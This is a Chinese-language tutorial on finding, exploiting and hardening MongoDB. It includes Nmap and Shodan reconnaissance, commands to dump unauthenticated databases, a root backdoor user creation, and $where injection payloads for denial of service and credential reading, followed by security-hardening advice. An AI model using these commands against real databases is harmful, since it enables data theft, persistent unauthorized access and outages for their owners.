从零开始:深入学习MongoDB漏洞挖掘与利用
前言
随着NoSQL数据库的兴起,MongoDB已成为最受欢迎的文档型数据库之一,广泛应用于各种现代Web应用和大数据场景。然而,与其强大的功能和灵活性相伴的,是潜在的安全风险。许多开发者在部署MongoDB时,由于配置不当或缺乏安全意识,导致大量敏感数据暴露在互联网上。
本文将作为一份详细的指南,带你从零开始,系统地学习如何发现、利用和防范MongoDB中的常见安全漏洞。我们将从搭建实验环境开始,逐步深入到信息侦察、漏洞利用和安全加固的全过程。
法律与道德声明: 本文所有内容仅供学习和研究目的。严禁利用本文技术进行任何非法活动。任何未经授权的渗透测试行为都可能触犯法律,请在授权环境下进行实验。
第一章:搭建你的渗透测试实验室
一个安全、隔离的实验环境是学习漏洞挖掘的起点。
1.1 安装MongoDB
你可以在本地虚拟机或Docker容器中安装MongoDB。
- Windows/macOS/Linux: 前往 MongoDB官方网站 下载社区版(Community Server)。按照官方文档的指引进行安装和启动。
-
Docker (推荐): Docker是快速部署环境的最佳选择。你可以使用以下命令拉取一个特定版本的MongoDB镜像(例如,一个存在已知漏洞的旧版本),或者直接拉取最新版用于学习基本操作。
“`bash
拉取官方MongoDB镜像
docker pull mongo
运行一个没有任何安全配置的MongoDB实例
–name my-mongo: 自定义容器名称
-p 27017:27017: 将容器的27017端口映射到主机的27017端口
-d: 后台运行
docker run –name my-mongo -p 27017:27017 -d mongo
“`
这个命令启动的MongoDB实例默认情况下未启用任何认证,是学习未授权访问漏洞的完美目标。
1.2 安装必备工具
- MongoDB Shell (
mongosh): 新一代的MongoDB命令行客户端,通常与MongoDB Server一同安装。 - MongoDB Compass: 官方的GUI工具,能让你更直观地浏览和操作数据库,对初学者非常友好。
- Nmap: 网络扫描和主机发现的瑞士军刀,用于在网络中寻找开放的MongoDB服务端口。
- Python与Pymongo: Python是编写自定义漏洞利用脚本的首选语言。
pymongo是官方推荐的Python驱动库。
bash
pip install pymongo
第二章:MongoDB基础知识速览
在挖掘漏洞之前,你需要了解MongoDB的基本工作方式。
- 数据库 (Database): 多个集合的物理容器。
- 集合 (Collection): 相当于关系型数据库中的“表”,用于存放一组文档。
- 文档 (Document): BSON(Binary JSON)格式的数据单元,相当于关系型数据库中的“行”。
admin数据库: 一个特殊的数据库。如果你向admin数据库添加用户,这个用户将自动获得对所有数据库的权限(如果角色设置得当)。用户认证信息就存储在这里。
基本命令:
“`shell
显示所有数据库
show dbs
切换到指定数据库
use mydatabase
显示当前数据库中的所有集合
show collections
查找集合中的所有文档
db.mycollection.find()
插入一个新文档
db.mycollection.insertOne({ name: “test”, value: 123 })
“`
第三章:信息侦察 – 发现暴露的MongoDB
攻击的第一步是找到目标。
3.1 端口扫描
MongoDB默认监听在 27017 端口。你可以使用Nmap在目标网段中扫描这个端口。
“`bash
快速扫描指定IP或网段的27017端口
nmap -p 27017 –open 192.168.1.0/24
使用Nmap脚本获取更详细信息
mongodb-info: 获取版本、模块等信息
mongodb-databases: 如果无需认证,直接列出所有数据库
nmap -p 27017 –script mongodb-info,mongodb-databases
``mongodb-databases`脚本成功执行并返回了数据库列表,那么恭喜你,你已经找到了一个未授权访问的MongoDB实例。
如果
3.2 公网搜索引擎
Shodan、Censys、FOFA等网络空间搜索引擎是发现公网暴露资产的利器。它们持续扫描整个互联网,并将设备信息编入索引。
- Shodan Dorks:
port:27017product:"MongoDB""MongoDB Server Information"
- Censys Dorks:
services.port: 27017services.mongodb.server_version
通过这些搜索引擎,你会惊讶地发现全球有成千上万个MongoDB实例可以直接访问,其中许多都未启用认证。
第四章:核心漏洞挖掘与利用
4.1 未授权访问 (CWE-287)
这是最常见、最简单,也是危害最大的漏洞。由于历史原因或配置失误,管理员没有为MongoDB启用访问控制。
利用步骤:
-
连接目标:
bash
# 使用 mongosh 连接
mongosh --host <target-ip> --port 27017
如果没有任何提示输入用户名和密码就成功连接,即存在未授权访问。 -
信息搜集:
“`shell
# 列出所有数据库,寻找敏感名称
show dbs
# > admin 0.000GB
# > config 0.000GB
# > local 0.000GB
# > users 0.015GB <- 看起来很可疑
# > orders 0.200GB <- 同样可疑切换到目标数据库并查看其集合
use users
show collections> accounts
Dump集合中的数据
db.accounts.find().pretty()
{
“_id”: ObjectId(“…”),
“username”: “admin”,
“password_hash”: “e10adc3949ba59abbe56e057f20f883e”, // MD5 for “123456”
“email”: “[email protected]”
}
“`
-
数据拖库:
使用mongodump工具可以完整地备份整个数据库。
bash
mongodump --host <target-ip> --port 27017 --out /path/to/dump/ -
持久化后门 (Getshell):
最直接的利用方式是在admin数据库中创建一个拥有root权限的后门用户。
“`shell
# 切换到admin库
use admin创建一个新用户
user: 用户名
pwd: 密码
roles: 赋予root角色,拥有最高权限
db.createUser({
user: “hacker”,
pwd: “StrongPassword123!”,
roles: [ { role: “root”, db: “admin” } ]
})
“`
一旦创建成功,攻击者就可以随时使用这个凭据登录,完全控制整个MongoDB实例。即使管理员之后开启了认证,这个后门用户依然有效。
4.2 服务端JavaScript注入 (SSJS) (CWE-94)
MongoDB在某些查询操作中支持执行JavaScript代码,例如 $where 操作符、mapReduce 和 group 命令。如果用户的输入被直接拼接到这些操作中,就可能导致服务端JavaScript注入。
漏洞场景:
假设一个Web应用允许用户通过一个参数自定义查询,后端代码如下(Node.js示例):
javascript
// 极度危险的代码
let userInput = req.query.filter; // e.g., "this.age > 18"
db.collection('users').find({ $where: userInput }).toArray(...)
攻击者可以构造恶意输入来执行任意JavaScript。
利用示例:
-
制造延迟(DoS):
'1' == '1'; while(1) { }
这将使数据库服务器的CPU飙升至100%,造成拒绝服务。 -
数据探测:
虽然SSJS的上下文环境有限,但仍可用于探测信息。
'1'=='1'; var cursor = db.getSiblingDB('admin').getCollection('system.users').find(); while(cursor.hasNext()){ printjson(cursor.next()) }
防范:
* 永远不要将用户输入直接传递给 $where、mapReduce 或 group。
* 禁用脚本执行:在MongoDB配置文件中设置 security.javascriptEnabled: false。
4.3 CVE和已知漏洞
时刻关注新披露的CVE。例如,早期的MongoDB版本曾存在允许通过SSJS读取文件系统、甚至远程代码执行的漏洞。
- CVE-2013-4650: 允许通过
group命令的finalizer函数执行任意JavaScript。 - CVE-2015-1609: 针对MMAPv1存储引擎的拒绝服务漏洞。
使用Metasploit Framework等工具包,通常会集成针对这些已知漏洞的扫描和利用模块。
第五章:安全加固 – 防患于未然
亡羊补牢,不如未雨绸缪。
-
启用访问控制 (最重要的事):
在MongoDB配置文件 (mongod.conf) 中,确保以下配置被开启:
yaml
security:
authorization: enabled
启动时使用--auth参数也能达到同样效果。 -
遵循最小权限原则:
为不同的应用和用户创建不同的角色,只授予其完成任务所必需的最小权限。不要所有应用都使用root账户。 -
网络绑定 (Bind IP):
默认情况下,MongoDB可能监听在0.0.0.0,意味着接受来自任何网络的连接。应将其绑定到本地或可信的IP地址。
yaml
net:
bindIp: 127.0.0.1,192.168.1.10 -
使用强密码:
为所有数据库用户设置复杂且唯一的密码。 -
保持更新:
及时将MongoDB升级到最新稳定版,以修复已知的安全漏洞。 -
禁用不必要的接口:
旧版本MongoDB默认开启了HTTP状态接口(28017端口),可能泄露版本和统计信息。如果不需要,应禁用它。
结论
MongoDB的安全性并非天生脆弱,绝大多数安全事件都源于人为的配置失误。未授权访问就像是敞开的大门,是攻击者最爱的目标。通过本文的学习,你不仅掌握了如何发现和利用这些漏洞,更重要的是学会了如何从根源上防范它们。
作为一名安全研究者或开发者,我们的目标是构建更安全的系统。希望你能将所学知识用于正途,保护数据安全,而不是成为黑产的一员。持续学习,保持好奇,并始终坚守道德底线。